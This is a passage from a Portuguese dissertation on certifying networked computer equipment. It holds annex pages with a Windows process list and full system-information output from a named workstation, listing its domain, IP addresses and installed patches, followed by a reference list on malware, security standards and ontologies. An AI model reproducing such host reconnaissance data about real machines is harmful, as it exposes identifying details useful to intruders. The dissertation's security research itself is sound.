svchost.exe 908 Services 0 17.632 K svchost.exe 996 Services 0 14.312 K svchost.exe 464 Services 0 27.092 K svchost.exe 808 Services 0 179.516 K svchost.exe 1032 Services 0 30.712 K svchost.exe 1064 Services 0 69.168 K audiodg.exe 1152 Services 0 26.736 K svchost.exe 1192 Services 0 17.720 K svchost.exe 1464 Services 0 47.096 K spoolsv.exe 1640 Services 0 25.984 K svchost.exe 1684 Services 0 29.804 K svchost.exe 1812 Services 0 15.236 K avp.exe 1840 Services 0 28.636 K sqlservr.exe 1980 Services 0 2.320 K sqlservr.exe 1492 Services 0 2.328 K taskhost.exe 2104 Console 1 20.684 K dwm.exe 2328 Console 1 35.528 K explorer.exe 2504 Console 1 121.292 K PsiService_2.exe 2828 Services 0 4.520 K c2c_service.exe 2944 Services 0 6.560 K sqlwriter.exe 2480 Services 0 11.188 K svchost.exe 1960 Services 0 9.884 K TeamViewer_Service.exe 2112 Services 0 13.524 K ThpSrv.exe 1096 Console 1 9.452 K ThpSrv.exe 1340 Services 0 6.764 K WLIDSVC.EXE 2564 Services 0 23.220 K FacebookUpdate.exe 3032 Console 1 3.432 K vmware-authd.exe 1316 Services 0 10.208 K Skype.exe 2168 Console 1 166.684 K WLIDSVCM.EXE 3088 Services 0 6.864 K netsession_win.exe 3808 Console 1 9.244 K OUTLOOK.EXE 3152 Console 1 128.912 K Dropbox.exe 3304 Console 1 78.044 K netsession_win.exe 3324 Console 1 17.600 K MagicDisc.exe 3344 Console 1 8.824 K avp.exe 2320 Console 1 5.436 K vmware-usbarbitrator64.ex 3388 Services 0 14.180 K SearchIndexer.exe 4008 Services 0 40.420 K svchost.exe 4424 Services 0 9.124 K svchost.exe 4532 Services 0 14.328 K svchost.exe 4616 Services 0 10.620 K svchost.exe 4656 Services 0 45.920 K OSPPSVC.EXE 2408 Services 0 11.908 K firefox.exe 2396 Console 1 513.060 K iexplore.exe 2552 Console 1 32.076 K iexplore.exe 3364 Console 1 41.640 K plugin-container.exe 5240 Console 1 20.228 K FlashPlayerPlugin_11_8_80 6104 Console 1 11.408 K FlashPlayerPlugin_11_8_80 5468 Console 1 23.908 K vmplayer.exe 5476 Console 1 44.972 K vmware-unity-helper.exe 6628 Console 1 16.288 K vmware-vmx.exe 6936 Console 1 1.233.676 K vprintproxy.exe 7132 Console 1 11.696 K conhost.exe 7156 Console 1 4.516 K WINWORD.EXE 4260 Console 1 100.876 K splwow64.exe 5780 Console 1 11.888 K WmiPrvSE.exe 4344 Services 0 7.236 K SearchProtocolHost.exe 5396 Services 0 6.116 K SearchFilterHost.exe 1692 Services 0 6.248 K cmd.exe 5608 Console 1 3.900 K conhost.exe 4672 Console 1 6.712 K cliente_tcp_socket.exe 792 Console 1 3.048 K cliente_tcp_socket.exe 5444 Console 1 13.708 K cmd.exe 6580 Console 1 4.192 K tasklist.exe 7088 Console 1 5.956 K WmiPrvSE.exe 1240 Services 0 7.824 K

.


Anexos

249 .

------------------------------------------------------------------------------ Informação sobre o Tipo de Plataforma do PC: ------------------------------------------------------------------------------ Windows-7-6.1.7601-SP1 ------------------------------------------------------------------------------ Informação sobre o Tipo de PC: ------------------------------------------------------------------------------ AMD64 ------------------------------------------------------------------------------ Informação sobre o Tipo de Processador do PC: ------------------------------------------------------------------------------ Intel64 Family 6 Model 30 Stepping 5, GenuineIntel ------------------------------------------------------------------------------ Informação sobre a Versão do PC: ------------------------------------------------------------------------------ 7 ------------------------------------------------------------------------------ Informação sobre o Tipo de Sistema Operativo do PC: ------------------------------------------------------------------------------ Windows ------------------------------------------------------------------------------ Informação sobre a Versão do Sistema Operativo do PC: ------------------------------------------------------------------------------ 6.1.7601 ------------------------------------------------------------------------------ Informação Detalhada do PC: ------------------------------------------------------------------------------ Nome do Anfitrião: MANUELC Nome do SO: Microsoft Windows 7 Professional Versão do SO: 6.1.7601 Service Pack 1 Compila‡Æo 7601 Fabricante de SO: Microsoft Corporation Configuração do SO: Esta‡Æo de trabalho membro Tipo de compilação do SO: Multiprocessor Free Proprietário registado: Coelho Organização registada: ID do produto: 00371-OEM-9044614-20103 Data de instalação original: 15-02-2012, 19:14:13 Tempo de arranque do sistema: 27-08-2013, 09:13:17 Fabricante do sistema: TOSHIBA Modelo do sistema: Qosmio F60 Tipo de sistema: x64-based PC Processador(es): 1 Processadores instalados. [01]: Intel64 Family 6 Model 30 Stepping 5 GenuineIntel ~1734 Mhz Versão do BIOS: TOSHIBA Version 2.70 , 07-12-2010 Directório do Windows: C:\Windows Directório do sistema: C:\Windows\system32 Dispositivo de arranque: \Device\HarddiskVolume1 Região do sistema: pt;Português (Portugal) Idioma de teclado: pt;Português (Portugal) Fuso horário: (UTC) Dublin, Edimburgo, Lisboa, Londres Memória física total: 8.120 MB Memória física disponível: 3.608 MB Memória Virtual: Tamanho Máximo: 16.239 MB Memória Virtual: Disponível: 11.712 MB Memória Virtual: Em Utilização: 4.527 MB Localização(ões) de ficheiro(s) de paginação: C:\pagefile.sys Domínio: ar.local Servidor de início de sessão: \\SERVER Correcções urgentes: 197 Correcções urgentes instaladas. [01]: KB2764913 [02]: KB2764913 [03]: KB2764916 [04]: KB2764916

…

.


Anexos

250 .

[196]: KB976932 [197]: KB982018 Placas de rede: 7 NIC(s) Instalados. [01]: Realtek PCIe GBE Family Controller Nome da ligação: Ligação de área Local DHCP Activado: Não Endereços de IP [01]: 192.168.0.132 [02]: 192.168.0.129 [03]: fe80::5806:d46b:f15a:4ab2 [02]: Realtek RTL8191SE Wireless LAN 802.11n PCI-E NIC Nome da ligação: Ligação de rede sem fios Estado: Suporte desligado [03]: Dispositivo Bluetooth (Rede de área pessoal) Nome da ligação: Ligação de rede Bluetooth Estado: O hardware não está presente [04]: Microsoft Virtual WiFi Miniport Adapter Nome da ligação: Ligação de rede sem fios 2 Estado: Suporte desligado [05]: VirtualBox Host-Only Ethernet Adapter Nome da ligação: VirtualBox Host-Only Network DHCP Activado: Não Endereços de IP [01]: 169.254.172.109 [02]: fe80::4d2f:43d0:959c:ac6d [06]: TAP-Win32 Adapter V9 Nome da ligação: Ligação de área Local 2 Estado: O hardware não está presente [07]: DrayTek Virtual PPP Adapter Nome da ligação: Ligação de área Local 3 DHCP Activado: Não Endereços de IP

.


251 .

Referências Apresentam-se as Referências utilizados para a investigação dos temas relacionados com esta

Dissertação e que auxiliaram o seu desenvolvimento

.


Referências

252 .

[1] “Cisco Visual Networking Index: Forecast and Methodology, 2011-2016,” CISCO, [Online]. Available: http://www.cisco.com/en/US/solutions/collateral/ns341/ns525/ns537/ns705/ns827/white_paper_c11-481360_ns827_Networking_Solutions_White_Paper.html.

[2] “Symantec,” [Online]. Available: http://www.symantec.com/content/en/us/home_homeoffice/html/cybercrimereport/.

[3] U. C. C. Unit, “Overview by the US-CCU of the Cyber Campaign against Georgia in August of 2008,” U.S. Cyber Consequences Unit, 2009.

[4] Symantec, “W32.Stuxnet,” [Online]. Available: http://www.symantec.com/security_response/writeup.jsp?docid=2010-071400-3123-99.

[5] D. Kushner, “The Real Story of Stuxnet,” Março 2013.

[6] D. P. Fidler, “Was Stuxnet an Act of War? Decoding a Cyberattack,” 2011.

[7] S. Magazine, “Stuxnet infected Russian nuclear plant,” SC Magazine - Secure Business Intelligence, Novembro 2013. [Online]. Available: http://www.scmagazine.com.au/News/363578,stuxnet-infected-russian-nuclear-plant.aspx.

[8] “The Official Microsoft Blog - Microsoft Disrupts the Emerging Nitol Botnet Being Spread through an Unsecure Supply Chain,” [Online]. Available: http://blogs.technet.com/b/microsoft_blog/archive/2012/09/13/microsoft-disrupts-the-emerging-nitol-botnet-being-spread-through-an-unsecure-supply-chain.aspx.

[9] Microsoft, “Operation b70 - Nitol Malware Research and Analysis”.

[10] Symantec, W32.Duqu - The precursor to the next Stuxnet, 2011.

[11] Symantec, “W32.Flamer: Enormous Data Collection,” Symantec, [Online]. Available: http://www.symantec.com/connect/blogs/w32flamer-enormous-data-collection.

[12] Symantec, Have I Got Newsforyou: Analysis of Flamer C&C Server, 2012.

[13] Symantec, “Painting a Picture of W32.Flamer,” Symantec, [Online]. Available: http://www.symantec.com/connect/blogs/painting-picture-w32flamer.

[14] Symantec, “Flamer: Highly Sophisticated and Discreet Threat Targets the Middle East,” Symantec, [Online]. Available: http://www.symantec.com/connect/blogs/flamer-highly-sophisticated-and-discreet-threat-targets-middle-east.

[15] S. S. e. C. Woods, “Breakthrough silicon scanning discovers backdoor in military chip,” 2012.

[16] “Microsemi - SoC Products Group,” [Online]. Available: http://www.actel.com/.

[17] E. Nakashima, “The Washington Post,” 2013. [Online]. Available: http://www.washingtonpost.com/world/national-security/confidential-report-lists-us-weapons-system-designs-compromised-by-chinese-cyberspies/2013/05/27/a42c3e1c-c2dd-11e2-8c3b-0b5e9247e8ca_story.html?hpid=z2.

[18] D. d. D. d. E. U. d. América, Trusted Computer System Evaluation Criteria, United States of America: Department of Defense, 1985.

[19] “NSA/NCSC Rainbow Series,” [Online]. Available: http://www.fas.org/irp/nsa/rainbow.htm.

[20] “Rainbow Series Library,” [Online]. Available: http://madchat.awired.net/tech/us_gov/library/rainbow/index.html.

[21] Trusted Network Interpretation of the TCSEC - RedBook, National Computer Security Center, 1987.

[22] “TRUSTED NETWORK INTERPRETATION ENVIRONMENTS GUIDELINE,” [Online]. Available: http://www.fas.org/irp/nsa/rainbow/tg011.htm#HDR1.4%20%20%203%2019.

[23] Information Technology Security Evaluation Criteria - ITSEC, 1991.

[24] C. P. P. e. S. L. Pfleeger, Security in Computing, Third Edition, Pearson Education, Inc, 2003.

[25] “CTCPEC - Canadian Trusted Computer Product Evaluation Criteria,” [Online]. Available: http://en.wikipedia.org/wiki/CTCPEC.

[26] E. M. Bacic, The Canadian Trusted Computer Product Evaluation Criteria, Canadian System Security Centre: IEEE, 1990.

.


Referências

253 .

[27] M. S. (Editor), Tallinn Manual on the International Law Applicable to Cyber Warfare, Cambridge University, 2013.

[28] Guia para a aplicação das Directivas elaboradas com base nas disposição da Nova Abordagem e da Abordagem Global, Comissão Europeia, 1999.

[29] “European Comission,” [Online]. Available: http://ec.europa.eu/CEmarking.

[30] “ENISA – European Network and Information Security Agency,” [Online]. Available: http://www.enisa.europa.eu/.

[31] “CEN - Comité Europeu de Normalização,” [Online]. Available: http://www.cen.eu/.

[32] “CENELEC - Comité Europeu de Normalização Eletrotécnica,” [Online]. Available: http://www.cenelec.eu/.

[33] “ETSI - Instituto Europeu de Normas das Telecomunicações,” [Online]. Available: http://www.etsi.org/.

[34] “ECMA - European Computer Manufacturers Association, International,” [Online]. Available: http://www.ecma-international.org/.

[35] “CSA Group,” [Online]. Available: http://www.csa-international.org.

[36] “National Institute of Standards and Technology,” [Online]. Available: http://www.nist.gov/.

[37] N. I. o. S. a. Technology, Performance Measurement Guide for Information Security, 2008.

[38] NIAP, “National Information Assurance Partnership - NIAP,” [Online]. Available: http://www.niap-ccevs.org.

[39] “CCC Mark - China Compulsory Certification Mark,” [Online]. Available: http://www.ccc-mark.com.

[40] “China Compulsory Certification online service centre,” [Online]. Available: http://www.ccc-us.com.

[41] “CCC China Compulsory Certification Online,” [Online]. Available: http://china-ccc-certification.com/.

[42] “Russian Certification Systems,” [Online]. Available: http://gost-r-iso.com/.

[43] “Wikipedia - GOST,” [Online]. Available: http://en.wikipedia.org/wiki/GOST.

[44] “GOST-R Certificate of Conformity,” [Online]. Available: http://www.gost-r.info/.

[45] “International Organization for Standardization,” [Online]. Available: http://www.iso.org.

[46] “The ISO 27000 Directory,” [Online]. Available: http://www.27000.org/.

[47] “Common Criteria for Information Technology Security Evaluation,” [Online]. Available: http://www.commoncriteriaportal.org/.

[48] Common Methodology for Information Technology Security Evaluation – Evaluation Methodology, 2012.

[49] Common Criteria for Information Technology Security Evaluation - Part 1: Introduction and general model, 2012.

[50] Common Criteria for Information Technology Security Evaluation - Part 2: Security functional components, 2012.

[51] Common Criteria for Information Technology Security Evaluation - Part 3: Security assurance components, 2012.

[52] Cisco, “Cisco Catalyst 6500 Series Switches Security Target”.

[53] Cisco, “Cisco Catalyst 6500 Series Switches Validation Report”.

[54] A. D. REPÚBLICA, Lei n.º 109/2009 - Lei do Cibercrime, Lisboa: ASSEMBLEIA DA REPÚBLICA, 2009.

[55] “CERT.PT - Serviço de Resposta a Incidentes de Segurança Informática,” [Online]. Available: http://www.cert.pt.

[56] IPAC, “Insituto Português da Acreditação,” [Online]. Available: http://www.ipac.pt/.

[57] I. Instituto Português de Acreditação, IPAC - Regulamento Geral de Acreditação - DRC001, IPAC, 2012.

[58] “European co-operation for Accreditation - EA,” [Online]. Available: http://www.european-accreditation.org/.

[59] “International Laboratory Accreditation Cooperation - ILAC,” [Online]. Available: https://www.ilac.org/.

[60] “International Accreditation Forum – IAF,” [Online]. Available: http://www.iaf.nu/.

[61] I. P. d. A. I.P., IPAC - Procedimento para Acreditação de Laboratório – DRC005, IPAC, 2012.

.


Referências

254 .

[62] Decreto-Lei n.º 3/2012, 2012.

[63] “Gabinete Nacional de Segurança,” [Online]. Available: www.gns.gov.pt/.

[64] G. N. d. Segurança, “Proposta de Estratégia Nacional de Cibersegurança,” 2012.

[65] I. O. f. Standardization e I. E. Commission, ISO/IEC 17025 - General requirements for the competence of testing and calibration laboratories, 2005.

[66] I. -. I. P. d. Acreditação, “Guia para a Aplicação da NP EN ISO/IEC 17025,” IPAC - Instituto Português de Acreditação, Caparica - Portugal, 2010.

[67] T. R. Gruber, “A Translation Approach to Portable Ontology Specifications,” Knowledge Systems Laboratory, Computer Science Department, Stanford University, Stanford, California, 1992.

[68] A. T. S. e. B. J. W. G. Van Heijst, “Using explicit ontologies in KBS development,” Int . J . Human – Computer Studies, 1997.

[69] S. JeongAhKim, “Evaluation of Ontology Development Methodology with CMM-i,” Fifth International Conference on Software Engineering Research, Management and Applications, 2007.

[70] A. Z. A. Z. A. S. Noman Islam, “Semantic Web: Choosing the Right Methodologies,Tools and Standards,” Center for Research in Ubiquitous Computing, National University of Computer and Emerging Sciences, Karachi, Pakistan, 2010.

[71] D. S. V. Maniraj, “Ontology Languages, A Review,” International Journal of Computer Theory, 2010.

[72] E. ,. K. B. Tim Berners-Lee (MIT, “W3C,” W3C, 2012. [Online]. Available: http://www.w3.org.

[73] M. Horridge, A Practical Guide To Building OWL Ontologies Using Protégé 4 and CO-ODE Tools, The University Of Manchester, 2011.

[74] S. C. f. B. I. Research, “Protégé,” Stanford Center for Biomedical Informatics Research, 2013. [Online]. Available: http://protege.stanford.edu/.

[75] N. F. N. e. D. L. McGuinness, “Ontology Development 101: A Guide to Creating Your First Ontology,” Stanford University, Stanford, CA, 94305, [Online]. Available: http://protege.stanford.edu/publications/ontology_development/ontology101-noy-mcguinness.html.

[76] O. W. Group, “Open Knowledge Base Connectivity Home Page,” High Performance Knowledge Base program of Defense Advanced Research Projects Agency, [Online]. Available: http://www.ai.sri.com/~okbc/.

[77] R. S. B. G. G. S. I. H. Boris Motik, “Hermit OWL Reasoner,” Department of Computer Science in the University of Oxford, [Online]. Available: http://hermit-reasoner.com/.

[78] W. Foundation, “WIRESHARK,” Wireshark Foundation , 2013. [Online]. Available: http://www.wireshark.org/.

[79] R. Technology, “WinPcap: The industry-standard windows packet capture library,” Riverbed Technology, 2013. [Online]. Available: http://www.winpcap.org/.

[80] D. T. L. E. B. Aboba, “Link-Local Multicast Name Resolution (LLMNR),” 2007.

[81] R. Droms, “Dynamic Host Configuration Protocol,” 1997.

[82] B. A. Forouzan, TCP/IP Protocol Suite - Fourth Edition, McGraw-Hill, 2010.

[83] U. o. S. C. Information Sciences Institute, “RFC 793,” Transmission Control Protocol, Setembro 1981.

[84] P. T. E. Standard, “Penetration Testing Execution Standard homepage,” 2013. [Online]. Available: http://www.pentest-standard.org/.

[85] S. G. Inc, “Speed Guide .net,” 2013. [Online]. Available: http://www.speedguide.net/portscan.php?port=5357&tcp=1&udp=1.

[86] IANA, “IANA - Internet Assigned Numbers Authority,” 2013. [Online]. Available: http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.txt.

[87] R. Technology, “WinPcap,” 2013. [Online]. Available: http://www.winpcap.org.

[88] Symantec, “Abnormal IP Packets,” 2010. [Online]. Available: http://www.symantec.com/connect/articles/abnormal-ip-packets.

[89] www.hackforums.net, “Hackforums,” 2013. [Online]. Available: http://www.hackforums.net/showthread.php?tid=1020443.

[90] M. Tips, “How To Hide .exe File's Into .jpg,” 2013. [Online]. Available: http://malwaretips.com/Thread-

.


Referências

255 .

Tutorial-How-To-Hide-exe-File-s-Into-jpg.

[91] P. B. a. t. S. community, “SCAPY,” 2013. [Online]. Available: http://www.secdev.org/projects/scapy/.

[92] O. Andreasson, “http://www.frozentux.net/,” 2013. [Online]. Available: http://www.frozentux.net/iptables-tutorial/chunkyhtml/x229.html.

[93] N. AB, “RawCap,” 2013. [Online]. Available: http://www.netresec.com/?page=RawCap.

[94] M. P. B. Mauricio B. AlmeidaI, “Uma visão geral sobre ontologias: pesquisa sobre definições, tipos, aplicações, métodos de avaliação e de construção,” 2003. [Online]. Available: http://www.scielo.br/scielo.php?pid=S0100-19652003000300002&script=sci_arttext&tlng=es.

Documents

repositorio.ipbeja.pt · . Certificação de Idoneidade de Equipamento Informático Integrado em Redes de Computadores i. Resumo A partir do momento que a Internet passou a conectar